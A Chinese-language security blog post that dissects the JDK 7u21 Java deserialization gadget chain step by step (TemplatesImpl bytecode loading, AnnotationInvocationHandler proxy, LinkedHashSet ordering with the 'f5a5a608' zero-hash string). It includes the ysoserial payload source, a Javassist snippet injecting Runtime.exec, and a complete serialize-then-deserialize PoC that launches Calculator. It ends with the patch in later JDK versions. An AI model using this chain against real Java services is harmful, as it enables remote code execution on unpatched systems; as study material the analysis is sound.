0%

【反序列化漏洞】JDK7u21

序言

往事依稀浑似梦,都随风雨到心头。

终于开学了,疯狂更博启动。

2021.11.12更新:已移步至Java反序列化漏洞补全计划

环境搭建

JDK–JRE

​ -tools:javac,…

​ -lib

​ -cmd:jar

查看系统已安装的Java版本和路径:/usr/libexec/java_home -V

Java se 7的所有版本

存在缺陷版本:JRE -V <= 7u21

需要ysoserial的搭配

漏洞演示

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

/**
* @program: 7u21
*
* @description:
*
* @author: 0range
*
* @create: 2020-09-07 16:02
**/


public class JDK7u21Test {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /Applications/Calculator.app/Contents/MacOS/Calculator");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray();//读取序列化后的对象byte数组

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

执行结果:

image-20200908103017752

跟进看ysoserial部分的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {

@Override
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}

}

为什么是“f5a5a608”这个字符串,因为hashcode()方法计算结果为0;这个之后会用到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int hashCode() {
int h = hash;
if (h == 0 && count > 0) {
int off = offset;
char val[] = value;
int len = count;

for (int i = 0; i < len; i++) {
h = 31*h + val[off++];
}
hash = h;
}
return h;
}

漏洞分析

1-createTemplatesImpl

image-20200908104222689

继续跟 能看到:

image-20200908104721460

在利用 payload 中,TemplatesImpl 类主要的作用为:

  • 使用 _bytecodes 成员变量存储恶意字节码 ( 恶意class => byte array )
  • 提供加载恶意字节码并触发执行的函数,加载在 defineTransletClasses() 方法中,方法触发为 getOutputProperties()newTransformer()

来具体看一下,该类位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中,用于 xml document 的处理和转换,定义如下:

1
public final class TemplatesImpl implements Templates, Serializable {

TemplatesImpl 类实现了 TemplatesSerializable 两个接口

其中 Templates 接口定义如下,包含了两个方法,即之前提到触发恶意代码执行所的方法

1
2
3
4
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}

TemplatesImpl 类中有一个 private 方法 defineTransletClasses(),精简后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private byte[][] _bytecodes = null;
...
private void defineTransletClasses()
throws TransformerConfigurationException {
...
TransletClassLoader loader = ...
try {
for (int i = 0; i < classCount; i++) {
// 调用 ClassLoader.defineClass() 方法加载 Class
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
}

需要理解的是:

在方法中,调用了 ClassLoader.defineClass() 方法,参数为实例变量 _bytecodes 内的元素,该方法会将字节数组转换为 Class,并加载

也就是说,通过设置 _bytecodes 的内容 ,调用 defineTransletClasses() 方法即可加载指定的 Class

find usages:

image-20200909150305919

一共三处:

  • getTransletClasses()
  • getTransletIndex()
  • getTransletInstance()

这里满足条件的就是第三个函数getTransletInstance()

跟进去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// 创建实例
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
}
}

defineTransletClasses() 执行后,会调用之前加载的 Class 的 newInstance() 方法来创建实例,触发 static block 和 constructor 的执行,根据方法,调用关系如下:

1
getOutputProperties() => newTransformer() => getTransletInstance() => defineTransletClasses() => ClassLoader.defineClass()

可以看到调用 getOutputProperties()newTransformer() 方法均可触发恶意代码的执行。

理一下思路

  • 使用 javassist 库创建一个包含恶意代码的 class,恶意代码可以在 static block中,或在无参构造函数里
  • 将恶意 class 的的字节码添加到 TemplatesImpl 实例的 _bytecodes 变量中
  • 调用实例的 getOutputProperties()newTransformer() 方法触发恶意代码执行

弹出计算器的代码示例如下 (程序报错可以忽略):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.get(Cat.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a /Applications/Calculator.app\");";
// 创建 static 代码块,并插入恶意代码
cc.makeClassInitializer().insertBefore(cmd);
// 使用构造方法也可以
//CtConstructor constructor = cc.getDeclaredConstructor(new CtClass[]{});
//constructor.insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 为了使 _transletIndex 正确,并执行 newInstance(),具体可查看 defineTransletClasses 方法
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 获取字节码
byte[] evilByteCodes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilByteCodes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

在上面的代码示例中,是手动调用 newTransformer() 来触发恶意代码的执行,因此还需要找到一个能够在反序列化过程中,自动调用 (直接或间接) 该方法的类。

这里分为两部分,一部分是Javassist的动态注入,一部分是Templates 属性的设置。

Javassist的作用:

通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。

Templates属性设置的作用:

Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。

这部分的理解,可以通过调试这个简单的触发语句来理解:

1
2
3
4
5
6
public class Example {
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /Applications/Calculator.app/Contents/MacOS/Calculator");
calc.getOutputProperties();
}
}

可以跟这个,看调用的细节:

image-20200908111442463

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();调用_class[_transletIndex]类的无参构造方法,生成类对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private void defineTransletClasses()
throws TransformerConfigurationException {

// 这里我们传入了值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

// 引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 这里在其他版本会有一句_tfactory.getExternalExtensionsMap()
// 为了防止出错,所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例
// 7u21版本下其实加不加都没关系。
return new
TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
// 根据_bytecodes传入的数目
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
// 加载字节码转化为对应的类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
// _transletIndex 默认值是-1
// 所以为了不出错,所以这里字节码转换为对应类的时候,其父类必须是
// ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

_class[i] = loader.defineClass(_bytecodes[i]);

加载类并不会触发静态方法,但是之后会有一个:

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

进行实例化,从而触发我们javassist注入的静态恶意代码。

从上面我们简单归纳下执行的顺序:

1
2
3
4
5
6
1.TemplatesImpl.getOutputProperties()
2.TemplatesImpl.newTransformer()
3.TemplatesImpl.getTransletInstance()
4.TemplatesImpl.defineTransletClasses()
5.ClassLoader.defineClass()
6.Class.newInstance()

1,2,3,4中都是可以触发的点,但是1,2 是public方法可以被对象直接调用,而3,4是private方法,只能被对象可调用方法间接调用。所以第二层的目标就是触发第一点或者第二点。

2-AnnotationInvocationHandler

进入第二阶段:

1
2
3
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()

这里选择newTransformer()方法来触发的

首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。

然后设置了type属性为Templates.class

image-20200908153232254

这里被createProxy封装了。

在写个demo来debug理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;


public class Test2nd {
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /Applications/Calculator.app/Contents/MacOS/Calculator");//生成恶意的calc
HashMap map = new HashMap();

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
proxy.equals(calc);
}
}

调用栈:

image-20200908154928091

可以看到当调用方法名为equals 时,且参数个数和类型匹配,则调用内部 equalsImpl 方法

image-20200908155654212

仔细看equalsImpl函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private Boolean equalsImpl(Object var1) {
// 判断var1是否为AnnotationInvocationHandle,var1是templates,pass
if (var1 == this) {
return true;
// 构造限制点,type属性限制了var1必须为this.type的类实例
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//这里获取了当前成员的方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4]; //遍历获取方法
String var6 = var5.getName(); //获取方法名字
Object var7 = this.memberValues.get(var6);//获取memberValues中的值
Object var8 = null;
// Proxy.isProxyClass(var1.getClass()
// 判断varl是不是代理类,显然不是,pass
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
// 这里直接进行了方法的调用核心。
// var5是方法名,var1是可控的类
// var1.var5()
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

跟入后可以看到,首先获取 type Class 所有声明的方法,然后在参数 Object o 上使用反射调用方法,因此前面所说 TemplatesImpl 实例是需要作为参数传入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Boolean equalsImpl(Object o) {
// o 需要为 type 的实例
if (!this.type.isInstance(o)) {
return false;
}
...
// 获取到 type Class 的方法
for (Method memberMethod : getMemberMethods()) {
...
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
// 反射调用方法
hisValue = memberMethod.invoke(o);
}
}
return true;
}

目的是触发TemplatesImpl.newTransformer()

var1可以通过proxy(var1)方式去控制,那么var5怎么去控制呢?

Method[] var2 = this.getMemberMethods(); 可以看到这里获取了成员的方法,跟进去看看。

image-20200909093606391

理一下思路

  1. 根据 TemplatesImpl 部分的说明,创建一个包含恶意代码的 TemplatesImpl 实例 evilTemplates
  2. 使用 AnnotationInvocationHandler 创建 proxy object 代理 Templates 接口 (会使用到反射)
  3. 调用 proxy object 的 equals 方法,将 evilTemplates 作为参数

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Test
public void testTemplateImpl() throws Exception {
Map map = new HashMap();
// AnnotationInvocationHandler 构造方法为 package private,需要使用反射创建实例
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 构造 payload 时,因为新版 jdk 对 type 参数做了校验,必须为 Annotation
// 为了不报错,所以设置为任意一个 Annotation,再用反射修改 type 参数
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, map);
// 反射设置属性值
setFieldValue(invocationHandler, "type", Templates.class);
// 代理 Tempaltes 接口
Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
// 获取包含恶意代码的 Templates 对象
Templates evilTemplates = getEvilTemplates();
// 触发恶意代码执行
proxy.equals(evilTemplates);
}

结果发现是通过反射机制从this.type这个类属性去获取的。

1
Reflections.setFieldValue(tempHandler, "type", Templates.class);

所以这里我们只要控制type为Templates.class就行了。

image-20200909093451311

里面就有newTransformer方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer方法就中断了。

3-LinkedHashSet

第三层的核心就是触发proxy.equals(calc);

image-20200909094010990

这是最外层LinkedHashSet,这个对象在反序列化的时候会自动触发readObject方法,从而开始了exp的执行流程

在利用 payload 中,LinkedHashSet 是最外层的类,包含恶意代码的实例和proxy object 会作为元素添加到 set 中,在反序列化过程中,会调用到前一部分所说的 equals 方法,来具体看一下。

LinkedHashSet 位于 java.util 包中,是 HashSet 的子类,添加到 set 的元素会保持有序状态,内部实现基于 HashMap

问题是如何触发equals方法,接下来仔细看一下:

1
2
3
4
public class LinkedHashSet<E>
extends HashSet<E>
implements Set<E>, Cloneable, java.io.Serializable {
}

在 HashSet 的 writeObject() 方法中,会依次调用每个元素的 writeObject() 方法来实现序列化:

image-20200909165142380

通过查看序列化规则writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

逻辑规则:

1
2
3
4
5
6
s.defaultWriteObject();
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet())
s.writeObject(e);

相应的,在反序列化过程中,会依次调用每个元素的 readObject() 方法,然后将其作为 key (value 为固定值) 依次放入 HashMap 中:

image-20200909162106301

来看一下 HashMapput() 方法,首先会调用内部 hash() 函数计算 key 的 hash 值,然后遍历所有元素,*当要插入的元素的 hash 和已有 entry 相同,且 key 和 Entry的 key 指向同一个对象 或 二者equals时 *,则认为 key 已经存在,返回 oldValue,否则调用 addEntry() 添加元素:

image-20200909171939978

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
// 计算 key 的 hash 值
int hash = hash(key);
int i = indexFor(hash, table.length);
// 遍历已有元素,检查 key 是否已经存在
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
// hash 值相同,且key和Entry的key指向同一个对象 或 二者equals
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

代码中将已有元素的 *key* 值作为参数 (k 变量),调用了插入 key 的 equals 方法来判断而这是否相等,这里我们只要反序列化过程中让 proxy object 先添加,然后再添加包含恶意代码的实例 (序列化时添加要顺序相反)。

理一下思路

  • 创建一个 LinkedHashSet
  • 先将 包含恶意代码的 Templates 对象添加到 hashSet 中
  • 将使用 AnnotationInvocationHandler 创建的proxy object (代理 Templaes 接口) 添加到 hashSet 中,在反序列化过程中,会调用 proxy 的 equals 方法 (包含恶意代码的Templates 对象作为参数),触发恶意代码执行

在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么使用 LinkedHashSet 的原因。

根据代码分析,在执行到 equals() 之前,需要满足两个条件

  1. e.hash == hash
  2. (k = e.key) != key

条件 2 比较两个变量是否指向同一个对象,这里满足(一个为包含恶意代码的templates 实例,一个为proxy object),条件1判断的是 hash 值是否相等,来看一下 hash 值是如何计算的

1
2
3
4
5
6
7
8
9
final int hash(Object k) {
int h = 0;
...
// 调用了 k 的 hashCode
h ^= k.hashCode();

h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

可以看到,计算结果只受 k.hashCode() 的影响

  • 对于普通对象,返回的是就是 k.hashCode()
  • 对用 proxy object,因为会统一调用 inove() ,而AnnotationInvocationHandlerinove() 方法中提供了 hashCode() 的实现,代码如下,内部调用了 hashCodeImpl()
1
2
3
4
5
6
7
8
public Object invoke(Object obj, Method method, Object[] args) {
String methodName = method.getName();
...
} else if (methodName.equals("hashCode")) {
return this.hashCodeImpl();
}
...
}

hashCodeImpl() 代码如下 ,这里稍微修改了下代码,便于理解

1
2
3
4
5
6
7
8
9
10
11
12
13
private int hashCodeImpl() {
int result = 0;
// 遍历 memberValues
Iterator itr = this.memberValues.entrySet().iterator();
for( ;itr.hasNext(); ) {
Entry entry = (Entry)itr.next();
String key = ((String)entry.getKey());
Object value = entry.getValue();
// 127 * key 的 hashCode,再和 memberValueHashCode(value) 进行异或
result += 127 * key.hashCode() ^ memberValueHashCode(value);
}
return result;
}

for 循环内调用了 memberValueHashCode() 函数,其精简代码如下

1
2
3
4
5
6
7
8
9
10
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) { // 匹配到该条件
return var0.hashCode();
} else if (var1 == byte[].class) {
....
} else {
...
}
}

for 循环内调用了 memberValueHashCode() 函数,其精简代码如下

1
2
3
4
5
6
7
8
9
10
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) { // 匹配到该条件
return var0.hashCode();
} else if (var1 == byte[].class) {
....
} else {
...
}
}

如果 Entry 的 value 的 Class 不为 Array,则 memberValueHashCode() 函数返回 value.hashCode(),在这里相当于

1
127 * key.hashCode() ^ value.hashCode();

为了让最后返回的 resultvalue.hashCode() 相同,这就要求

  • memberValues 仅有一个 entry,否则 for 循环内每次计算的结果会累加
  • key.hashCode() 的值为0,从而 127 * key.hashCode() = 0,0 和 任何数异或还是原值
  • value 和 之前添加到 hashset 的对象相同, (利用代码中该值为包含恶意代码的 templates 对象)

前面提到字符串 f5a5a608 的 hashCode 为 0,所以这里只要让 AnnotationInvocationHandlermemberValues 内只放一个 key 为字符串 f5a5a608,value 为包含恶意代码的 templates 对象即可

到这里,就可以写出完整的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 @Test
public void testPoc() throws Exception {
Map map = new HashMap();
String magicStr = "f5a5a608";
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, map);
setFieldValue(invocationHandler, "type", Templates.class);
// value 先放入任意值,让 HashSet.add(proxy) 成功
map.put(magicStr, "foo");
Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
Templates evilTemplates = getEvilTemplates();
HashSet target = new LinkedHashSet();
target.add(evilTemplates);
target.add(proxy);
// 放入实际的 value
map.put(magicStr, evilTemplates);

String filename = "/tmp/jdk7u21";
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(target);
// 反序列化, boom
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

反序列化过程的方法调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
// TemplatesImpl.getOutputProperties(),实际测试时会直接调用 newTransformer()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

修复

image

在 jdk > 7u21 的版本,修复了这个漏洞,看了下 7u79 的代码,AnnotationInvocationHandlerreadObject() 方法增加了异常抛出,导致反序列化失败。

参考:

1

2